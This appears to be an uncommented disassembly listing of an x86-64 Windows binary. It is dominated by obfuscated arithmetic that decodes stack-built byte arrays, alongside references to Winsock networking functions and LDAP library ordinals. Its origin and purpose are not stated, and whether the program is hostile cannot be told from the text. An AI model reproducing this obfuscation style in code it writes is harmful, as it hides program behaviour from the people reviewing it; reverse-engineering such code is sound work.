add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015cb1a
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14015cac6
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14015c957
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14015c983
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14015c915
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14015c32e
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14015ca44
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14015c6fc
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14015c9f6
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x14015c63f
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x14015c48f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015c66b
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14015cb1a
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015c686
movabs rdx, 0x350b794e73a31824
mov ecx, r14d
jmp 0x14015c957
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015c6b5
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015c915
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015c6e0
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x14015c8eb
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015c48f
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015ca1e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015c73e
movabs rcx, 0xb26331447cfb31c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x14015c9f8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015c768
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x14015c8e9
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015c797
movabs rdx, 0x83f5e230bd9d1fb2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015c915
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015c7c2
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x14015c983
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015c4cb
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x14015cb1a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015c81e
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14015cb1a
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015c84a
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
add bl, dl
jmp 0x14015ca6c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015c867
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14015c69e
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14015c896
movabs rdx, 0xd2e04b1307972740
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015ca44
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015c42c
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x14015ca1e
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x840]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0x840], cl
add rdi, r10
jmp 0x14015c983
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x840]
add bl, dl
add bl, r8b
jmp 0x14015ca6c
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14015c93e
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14015cb29
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x14015ca44
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7e
jmp 0x14015c9f8
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1e
add r8b, cl
mov byte [rbp + r9 + 0x840], r8b
add r10, rsi
jmp 0x14015ca44
movabs rdx, 0xc8f30bbaf92f9e22
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
sub r9, rsi
jmp 0x14015cb29
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x840], al
add r10, rsi
add rax, r10
sub r9, rax
jmp 0x14015cac6
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x840], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14015cb1a
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x840]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14015bfb2
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015bfaf
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015bf9f
lea rdx, [rbp + 0x15983e8]
jmp 0x14015cb96
lea rdx, [rbp + 0x16dc1a6]
jmp 0x14015cb96
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x1d8]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2c90]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14015cbcb
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x2c90]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2c90]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2c90]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0xf10], 0xe3
mov byte [rbp + 0xf11], 0xad
mov byte [rbp + 0xf12], 0xec
mov byte [rbp + 0xf13], 0xab
mov byte [rbp + 0xf14], recv
mov byte [rbp + 0xf15], 0xa9
mov byte [rbp + 0xf16], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xf17], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xf18], 0x3d
mov byte [rbp + 0xf19], __WSAFDIsSet
mov byte [rbp + 0xf1a], r13b
mov byte [rbp + 0xf1b], __WSAFDIsSet
mov byte [rbp + 0xf1c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xf1d], __WSAFDIsSet
mov byte [rbp + 0xf1e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xf1f], 0x9f
mov byte [rbp + 0xf20], 7
mov byte [rbp + 0xf21], 0x9d
mov byte [rbp + 0xf22], 5
mov byte [rbp + 0xf23], 0x9b
mov byte [rbp + 0xf24], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xf25], 0x99
mov byte [rbp + 0xf26], Ordinal_46
mov byte [rbp + 0xf27], 0x87
mov r12d, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xf28], r12b
mov byte [rbp + 0xf29], 0x85
mov byte [rbp + 0xf2a], Ordinal_217
mov byte [rbp + 0xf2b], 0x83
mov byte [rbp + 0xf2c], 0x3d
mov byte [rbp + 0xf2d], 0x81
mov byte [rbp + 0xf2e], Ordinal_50
mov byte [rbp + 0xf2f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xf30], Ordinal_46
mov byte [rbp + 0xf31], Ordinal_143
mov byte [rbp + 0xf32], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xf33], Ordinal_143
mov byte [rbp + 0xf34], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xf35], Ordinal_143
mov byte [rbp + 0xf36], 0x64
mov byte [rbp + 0xf37], 0xf7
mov byte [rbp + 0xf38], 0x5c
mov byte [rbp + 0xf39], 0xf5
mov byte [rbp + 0xf3a], 0x62
mov byte [rbp + 0xf3b], 0xf3
mov byte [rbp + 0xf3c], 0xaa
mov byte [rbp + 0xf3d], 0xf1
mov byte [rbp + 0xf3e], 0xa2
mov byte [rbp + 0xf3f], 0xff
mov byte [rbp + 0xf40], 0xae
mov byte [rbp + 0xf41], 0xfd
mov byte [rbp + 0xf42], 0x57
mov byte [rbp + 0xf43], 0xfb
mov byte [rbp + 0xf44], 0x60
mov byte [rbp + 0xf45], 0xf9
mov byte [rbp + 0xf46], Ordinal_79
mov byte [rbp + 0xf47], 0xe7
mov byte [rbp + 0xf48], 0xb6
mov byte [rbp + 0xf49], 0xe5
mov byte [rbp + 0xf4a], 0x77
mov byte [rbp + 0xf4b], 0xe3
mov byte [rbp + 0xf4c], 0x7d
mov byte [rbp + 0xf4d], 0xe1
mov byte [rbp + 0xf4e], 0x47
mov byte [rbp + 0xf4f], 0xef
mov byte [rbp + 0xf50], 0xec
mov byte [rbp + 0xf51], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf52], xmm0
mov qword [rbp + 0xf62], rax
mov byte [rbp + 0xf6a], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x14015d9b4
movzx r8d, byte [rbp + r9 + 0xf10]
mov r11, r8
cmp rdi, r9
ja 0x14015d9ab
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14015ce52
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x4a
jmp 0x14015ce8c
je 0x14015d925
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015d898
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14015d862
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14015d818
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015d7ef
cmp r10, r9
ja 0x14015d9a2
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x14015ceb2
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14015d099
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015d7ab
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015d78b
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015d768
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14015d745
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14015d430
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14015d40f
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14015d3e9
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14015d3c6
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14015d3a5
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14015d391
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015d36e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015d34a
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015d329
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14015d315
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14015cef3
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14015d97f
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14015d959
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14015d0d3
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14015d0b0
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x14015d08a
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14015d2ba
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14015d260
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14015d213
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14015d1f1
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14015d1cf
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14015d1bb
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14015d199
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14015d173
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14015d151
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14015d13d
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14015d11b
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14015d0f9
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14015cef3
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x14015cef3
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015cee6
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x14015ce8c
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015ce1b
movabs rcx, 0x3079ddf1a6964910
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14015d7c9
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14015d80d
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x14015d588
movabs rcx, 0x5350f17229c7c674
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2c
jmp 0x14015d836
movabs rdx, 0x5eedf7f25582f040
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015d883
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x54
jmp 0x14015d886
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
jmp 0x14015d359
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14015d8ee
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14015d942
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
cmp r10, 0x41
jb 0x14015d6e0
movabs rcx, 0xafb7b47749b6ac5c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x14015d7c9
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 3
jae 0x14015d6ed
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x14015d626
movabs rcx, 0x23d9f578ff064e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
jmp 0x14015d231
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x14015d71b
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x14015d541
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x14015d281
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x14015d477
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x14015d761
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14015d5ef
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14015d886
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14015d871
movabs rdx, 0x5e6c86f6179887c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14015d834
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14015d810
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015d80d
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x14015d7c7
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x14015d45f
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015d2d8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015d48e
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015d942
cmp rdi, rcx
jne 0x14015d4b9
movabs rdx, 0xf4e46a7c122f3eac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015d8bc
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015d4e3
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14015d711
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015d50e
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14015d810
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015d2d8
movabs rdx, 0xbad349fb37876db0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015d80d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015d570
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015d7c9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015d59f
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015d810
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015d5ca
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x14015d883
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015d5f6
movabs rdx, 0x4c7f8c399815609e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
add bl, dl
jmp 0x14015d8bc
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015d281
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2a
jmp 0x14015d942
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015d643
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x14015d477
cmp rdi, rcx
jne 0x14015d66a
movabs rcx, 0xc9fe878a78ffabc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x14015d8ee
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015d695
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14015d883
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015d6b2
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14015d3f8
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14015d231
movabs rdx, 0xbb54baf77571d628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x14015d7c7
mov byte [rbp + r9 + 0xf10], bl
jmp 0x14015d951
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xf10]
add bl, dl
add bl, r8b
jmp 0x14015d836
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xf10]
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14015d8bc
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x14015d8ee
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x14015d886
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14015d810
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
mov byte [rbp + r9 + 0xf10], cl
jmp 0x14015d80d
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
add r10, rsi
sub r9, rsi
jmp 0x14015d951
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r8b
add cl, bl
add cl, dl
mov byte [rbp + r9 + 0xf10], cl
jmp 0x14015d883
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14015d951
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xf10], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xf10], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14015d942
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xf10]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14015ce08
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
